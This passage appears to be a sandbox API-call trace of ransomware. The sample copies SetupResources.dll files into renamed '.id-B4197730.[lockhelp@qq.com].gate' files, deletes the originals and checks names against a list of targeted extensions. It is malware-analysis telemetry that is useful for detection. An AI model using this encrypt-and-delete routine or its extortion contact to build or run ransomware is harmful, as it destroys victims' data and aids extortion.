"c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0110.638] GetLastError () returned 0x0 [0110.638] ReadFile (in: hFile=0x314, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x4758, lpOverlapped=0x0) returned 1 [0110.732] WriteFile (in: hFile=0x318, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x4760, lpOverlapped=0x0) returned 1 [0110.733] ReadFile (in: hFile=0x314, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.733] WriteFile (in: hFile=0x318, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.733] SetEndOfFile (hFile=0x318) returned 1 [0110.733] CloseHandle (hObject=0x318) returned 1 [0110.738] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.739] SetEndOfFile (hFile=0x314) returned 1 [0110.739] CloseHandle (hObject=0x314) returned 1 [0110.739] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.740] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0110.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.740] lstrlenW (lpString=".doc") returned 4 [0110.740] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.740] lstrlenW (lpString=".docx") returned 5 [0110.740] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.740] lstrlenW (lpString=".pdf") returned 4 [0110.740] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.740] lstrlenW (lpString=".xls") returned 4 [0110.740] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.740] lstrlenW (lpString=".xlsx") returned 5 [0110.740] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.740] lstrlenW (lpString=".ppt") returned 4 [0110.740] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.740] lstrlenW (lpString=".zip") returned 4 [0110.740] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.740] lstrlenW (lpString=".rar") returned 4 [0110.740] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.740] lstrlenW (lpString=".bz2") returned 4 [0110.741] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.741] lstrlenW (lpString=".7z") returned 3 [0110.741] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.741] lstrlenW (lpString=".dbf") returned 4 [0110.741] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.741] lstrlenW (lpString=".1cd") returned 4 [0110.741] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.741] lstrlenW (lpString=".jpg") returned 4 [0110.741] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.741] lstrlenW (lpString=".doc") returned 4 [0110.741] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.741] lstrlenW (lpString=".docx") returned 5 [0110.741] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.741] lstrlenW (lpString=".pdf") returned 4 [0110.741] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.741] lstrlenW (lpString=".xls") returned 4 [0110.741] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.741] lstrlenW (lpString=".xlsx") returned 5 [0110.741] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.741] lstrlenW (lpString=".ppt") returned 4 [0110.741] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.741] lstrlenW (lpString=".zip") returned 4 [0110.741] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.741] lstrlenW (lpString=".rar") returned 4 [0110.741] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.741] lstrlenW (lpString=".bz2") returned 4 [0110.741] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.742] lstrlenW (lpString=".7z") returned 3 [0110.742] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.742] lstrlenW (lpString=".dbf") returned 4 [0110.742] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.742] lstrlenW (lpString=".1cd") returned 4 [0110.742] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0110.742] lstrlenW (lpString=".jpg") returned 4 [0110.742] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.742] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.742] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.743] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.743] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=19288) returned 1 [0110.743] CloseHandle (hObject=0x314) returned 1 [0110.743] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0110.743] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.743] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.743] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.743] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0110.770] GetLastError () returned 0x0 [0110.770] ReadFile (in: hFile=0x314, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0110.818] WriteFile (in: hFile=0x32c, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0110.820] ReadFile (in: hFile=0x314, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.820] WriteFile (in: hFile=0x32c, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.820] SetEndOfFile (hFile=0x32c) returned 1 [0110.820] CloseHandle (hObject=0x32c) returned 1 [0110.821] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.821] SetEndOfFile (hFile=0x314) returned 1 [0110.822] CloseHandle (hObject=0x314) returned 1 [0110.822] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.823] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0110.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.823] lstrlenW (lpString=".doc") returned 4 [0110.823] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.823] lstrlenW (lpString=".docx") returned 5 [0110.823] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.823] lstrlenW (lpString=".pdf") returned 4 [0110.823] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.823] lstrlenW (lpString=".xls") returned 4 [0110.823] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.823] lstrlenW (lpString=".xlsx") returned 5 [0110.823] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.823] lstrlenW (lpString=".ppt") returned 4 [0110.823] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.823] lstrlenW (lpString=".zip") returned 4 [0110.823] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.824] lstrlenW (lpString=".rar") returned 4 [0110.824] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.824] lstrlenW (lpString=".bz2") returned 4 [0110.824] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.824] lstrlenW (lpString=".7z") returned 3 [0110.824] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.824] lstrlenW (lpString=".dbf") returned 4 [0110.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.824] lstrlenW (lpString=".1cd") returned 4 [0110.824] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.824] lstrlenW (lpString=".jpg") returned 4 [0110.824] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.824] lstrlenW (lpString=".doc") returned 4 [0110.824] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.824] lstrlenW (lpString=".docx") returned 5 [0110.824] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.824] lstrlenW (lpString=".pdf") returned 4 [0110.824] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.824] lstrlenW (lpString=".xls") returned 4 [0110.824] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.824] lstrlenW (lpString=".xlsx") returned 5 [0110.825] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.825] lstrlenW (lpString=".ppt") returned 4 [0110.825] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.825] lstrlenW (lpString=".zip") returned 4 [0110.825] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.825] lstrlenW (lpString=".rar") returned 4 [0110.825] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.825] lstrlenW (lpString=".bz2") returned 4 [0110.825] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.825] lstrlenW (lpString=".7z") returned 3 [0110.825] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.825] lstrlenW (lpString=".dbf") returned 4 [0110.825] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.825] lstrlenW (lpString=".1cd") returned 4 [0110.825] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0110.825] lstrlenW (lpString=".jpg") returned 4 [0110.825] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.825] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.825] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.829] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=18264) returned 1 [0110.829] CloseHandle (hObject=0x328) returned 1 [0110.829] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0110.829] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.829] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.829] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.829] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.829] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0110.837] GetLastError () returned 0x0 [0110.837] ReadFile (in: hFile=0x328, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x4758, lpOverlapped=0x0) returned 1 [0110.951] WriteFile (in: hFile=0x324, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x4760, lpOverlapped=0x0) returned 1 [0110.953] ReadFile (in: hFile=0x328, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.953] WriteFile (in: hFile=0x324, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.953] SetEndOfFile (hFile=0x324) returned 1 [0110.953] CloseHandle (hObject=0x324) returned 1 [0110.956] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.956] SetEndOfFile (hFile=0x328) returned 1 [0110.957] CloseHandle (hObject=0x328) returned 1 [0110.957] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.957] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0110.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.957] lstrlenW (lpString=".doc") returned 4 [0110.958] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.958] lstrlenW (lpString=".docx") returned 5 [0110.958] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.958] lstrlenW (lpString=".pdf") returned 4 [0110.958] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.958] lstrlenW (lpString=".xls") returned 4 [0110.958] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.958] lstrlenW (lpString=".xlsx") returned 5 [0110.958] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.958] lstrlenW (lpString=".ppt") returned 4 [0110.958] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.958] lstrlenW (lpString=".zip") returned 4 [0110.958] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.958] lstrlenW (lpString=".rar") returned 4 [0110.958] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.958] lstrlenW (lpString=".bz2") returned 4 [0110.958] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.958] lstrlenW (lpString=".7z") returned 3 [0110.958] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.958] lstrlenW (lpString=".dbf") returned 4 [0110.958] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.958] lstrlenW (lpString=".1cd") returned 4 [0110.958] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.958] lstrlenW (lpString=".jpg") returned 4 [0110.958] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.958] lstrlenW (lpString=".doc") returned 4 [0110.959] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.959] lstrlenW (lpString=".docx") returned 5 [0110.959] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.959] lstrlenW (lpString=".pdf") returned 4 [0110.959] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.959] lstrlenW (lpString=".xls") returned 4 [0110.959] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.959] lstrlenW (lpString=".xlsx") returned 5 [0110.959] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.959] lstrlenW (lpString=".ppt") returned 4 [0110.959] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.959] lstrlenW (lpString=".zip") returned 4 [0110.959] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.959] lstrlenW (lpString=".rar") returned 4 [0110.959] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.959] lstrlenW (lpString=".bz2") returned 4 [0110.959] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.959] lstrlenW (lpString=".7z") returned 3 [0110.959] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.959] lstrlenW (lpString=".dbf") returned 4 [0110.959] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.959] lstrlenW (lpString=".1cd") returned 4 [0110.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0110.959] lstrlenW (lpString=".jpg") returned 4 [0110.959] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.959] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.959] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.960] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.963] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=19288) returned 1 [0110.963] CloseHandle (hObject=0x328) returned 1 [0110.963] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0110.963] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.963] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.963] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0110.967] GetLastError () returned 0x0 [0110.967] ReadFile (in: hFile=0x328, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0110.988] WriteFile (in: hFile=0x324, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0110.990] ReadFile (in: hFile=0x328, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.990] WriteFile (in: hFile=0x324, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.990] SetEndOfFile (hFile=0x324) returned 1 [0110.990] CloseHandle (hObject=0x324) returned 1 [0110.996] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.996] SetEndOfFile (hFile=0x328) returned 1 [0110.997] CloseHandle (hObject=0x328) returned 1 [0110.997] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.998] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0110.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0110.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0110.998] lstrlenW (lpString=".doc") returned 4 [0110.998] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.998] lstrlenW (lpString=".docx") returned 5 [0110.998] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.998] lstrlenW (lpString=".pdf") returned 4 [0110.998] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.998] lstrlenW (lpString=".xls") returned 4 [0110.998] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.998] lstrlenW (lpString=".xlsx") returned 5 [0110.998] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.998] lstrlenW (lpString=".ppt") returned 4 [0110.998] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 